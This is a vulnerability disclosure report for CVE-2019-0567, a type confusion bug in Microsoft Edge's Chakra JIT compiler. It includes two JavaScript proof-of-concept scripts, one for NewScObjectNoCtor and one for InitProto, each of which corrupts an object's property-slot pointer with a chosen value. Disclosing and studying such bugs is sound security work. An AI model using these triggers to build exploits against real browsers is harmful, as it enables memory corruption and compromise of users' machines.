Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto
CVE-2019-0567
NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.
In the PoC, it overwrites the pointer to property slots with 0x1000000001234.
PoC for NewScObjectNoCtor:
function cons() {
}
function opt(o, value) {
o.b = 1;
new cons();
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
cons.prototype = {};
let o = {a: 1, b: 2};
opt(o, {});
}
let o = {a: 1, b: 2};
cons.prototype = o;
opt(o, 0x1234);
print(o.a);
}
main();
PoC for InitProto:
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, 0x1234);
print(o.a);
}
main();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: lokihardt
